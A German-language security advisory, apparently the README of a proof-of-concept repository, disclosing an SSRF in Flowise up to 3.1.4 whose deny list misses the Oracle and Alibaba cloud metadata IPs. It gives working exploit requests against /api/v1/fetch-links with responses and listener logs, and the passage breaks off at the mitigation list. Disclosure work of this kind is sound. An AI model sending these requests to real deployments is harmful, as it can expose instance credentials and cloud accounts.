abdugafforov-bobur/cve-2026-67620-pocCVE-2026-67620 - Flowise SSRF durch unvollständige Cloud-Metadaten-Sperrliste (Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200 umgehen die DEFAULT_DENY_LIST)
Produkt: FlowiseAI/Flowise — visueller LLM-/KI-Agenten-Builder (~54k ★)
Betroffene Versionen: ≤ 3.1.4 — bestätigt weiterhin anfällig in 3.1.4, der neuesten Version (erneut verifiziert am 2026-08-06)
Schwachstelle: Server-Side Request Forgery über eine unvollständige Deny-List
CWE: CWE-918 (SSRF) · CWE-184 (Incomplete List of Disallowed Inputs)
Schweregrad: Mittel — CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Entdeckt: 2026-07-10 · Gemeldet an VulnCheck (CVD): 2026-07-15
Forscher: Bobur Abdugafforov (Mahadsec)
Herstellerstatus — es wird kein Patch veröffentlicht. Das Flowise-Projekt wurde offiziell eingestellt und nimmt keine Meldungen zu Sicherheitsschwachstellen mehr entgegen. Dieser Hinweis wird veröffentlicht, damit Betreiber, die Flowise noch betreiben, das Problem selbst entschärfen können.
Flowise enthält eine SSRF-Schutzfunktion, die Anfragen an Cloud-Instanz-Metadatendienste blockiert. Die
Deny-List deckt den Link-Local-Bereich 169.254.0.0/16 ab, der von AWS, GCP, Azure und
DigitalOcean verwendet wird — lässt jedoch zwei Metadatenadressen aus, die nicht in diesem Bereich liegen:
| Cloud | Metadaten-IP | In der Deny-List? |
|---|---|---|
| AWS / GCP / Azure / DigitalOcean | 169.254.169.254 | ✅ blockiert |
| Oracle Cloud (OCI) | 192.0.0.192 | ❌ nicht blockiert |
| Alibaba Cloud | 100.100.100.200 | ❌ nicht blockiert |
Die vollständige DEFAULT_DENY_LIST, die im offiziellen Docker-Image flowiseai/flowise:3.1.4
enthalten ist (.../flowise-components/dist/src/httpSecurity.js), lautet:
'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'
18 Einträge. Weder 192.0.0.192 noch 100.100.100.200 erscheint, und keines fällt
in ein aufgeführtes CIDR — beachten Sie, dass 192.168.0.0/16 192.0.0.192 nicht abdeckt, und
es gibt überhaupt keinen 100.64.0.0/10-Eintrag (CGNAT).
Die Liste ist byte-identisch zwischen 3.1.2 und 3.1.4. Die einzige Änderung an
httpSecurity.ts über diese Releases hinweg ist die Normalisierung von IPv4-gemappten IPv6-Adressen innerhalb
von isDeniedIP(), was sich nicht auf zwei einfache IPv4-Adressen auswirken kann.
Keine der ausgelassenen Adressen fällt in ein konventionelles privates oder Link-Local-CIDR:
192.0.0.192 liegt im IETF Protocol Assignments-Block 192.0.0.0/24 und sieht
global routbar aus, während 100.100.100.200 im CGNAT-Bereich 100.64.0.0/10 liegt, den
die Deny-List ebenfalls nicht abdeckt. Eine Schutzmaßnahme, die durch Aufzählung „der Metadata-IP" und des
Link-Local-Bereichs erstellt wird, verfehlt daher beide.
Ein authentifizierter Benutzer kann den Flowise-Server dazu zwingen, beliebige GET-Anfragen an diese Adressen zu senden. Bei einer Bereitstellung auf OCI oder Alibaba Cloud erreicht dies den Instance-Metadata- Dienst, der Instanzidentität und Anmeldedatenmaterial bereitstellt.
packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST
(kompiliert: httpSecurity.js:31-50)
Die Liste enthält 169.254.169.254 und den Bereich 169.254.0.0/16, enthält aber nicht
192.0.0.192, 100.100.100.200 oder den CGNAT-Bereich 100.64.0.0/10.
Anfragefluss: GET /api/v1/fetch-links → checkDenyList(url) → secureFetch() über
webCrawl. secureFetch validiert Redirect-Ziele korrekt erneut, sodass redirect-basierte
Umgehungen behandelt werden — der Defekt liegt im Inhalt der Liste, was bedeutet, dass ein Redirect
zu einer der ausgelassenen IPs die Validierung ebenso passiert wie eine direkte Anfrage.
Die Route fetch-links trägt keine checkPermission-Middleware, sodass jede authentifizierte
Sitzung sie unabhängig von der Rolle erreicht.
GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1
Jeder Knoten, der über secureFetch / secureAxiosRequest mit einer vom Benutzer bereitgestellten URL routet,
ist von derselben Deny-List betroffen — zum Beispiel die Web-Scraper- und HTTP-Request-Knoten.
Hinweis zur Erreichbarkeit: Das Problem ist zusätzlich unauthentifiziert über
den öffentlichen POST /api/v1/prediction/:id-Endpunkt erreichbar, wann immer ein URL-abrufender Knoten
in einem Chatflow vorhanden ist, der öffentlich gemacht wurde.
Dynamisch bestätigt gegen eine laufende lokale Flowise 3.1.2-Instanz, mit Listenern, die an
192.0.0.192:80 und 100.100.100.200:80 gebunden sind.
Kontrolle — AWS/GCP/Azure-Metadaten-IP wird korrekt blockiert:
GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.
Umgehung 1 — Oracle Cloud-Metadaten:
GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}
Umgehung 2 — Alibaba Cloud-Metadaten:
GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
Auf den Listenern beobachtete serverseitige Anfragen (was belegt, dass der Abruf vom Flowise-Server und nicht vom Client ausging):
# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -
# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -
Ein PoC-Skript ist als poc.py enthalten.
Jeder authentifizierte Flowise-Benutzer – und, sofern ein URL-abrufender Node in einem öffentlichen Chatflow vorhanden ist, auch jeder nicht authentifizierte Besucher – kann den Server dazu veranlassen, GET-Anfragen an die Instanz-Metadatendienste von Oracle Cloud und Alibaba Cloud zu senden, was das Produkt bei anderen Anbietern ausdrücklich zu verhindern versucht.
Bei einer betroffenen Bereitstellung werden dadurch Instanz-Identitätsdaten und die Metadaten-Endpunkte offengelegt, die Instanz-Rollen-Anmeldedaten bereitstellen, woraus sich weiterer Zugriff auf das Cloud-Konto des Opfers ergibt. Allgemeiner ermöglicht dieselbe Lücke Anfragen in den CGNAT-Bereich 100.64.0.0/10, der in vielen Anbieternetzen routbar ist.
Die Schweregrad-Einstufung spiegelt wider, dass die Ausnutzung erfordert, dass die Flowise-Instanz bei OCI oder Alibaba Cloud gehostet wird. Der Defekt selbst – eine unvollständige Deny-List – ist anbieterunabhängig.
Es wird kein Hersteller-Patch bereitgestellt; das Projekt wird eingestellt. Betreiber sollten: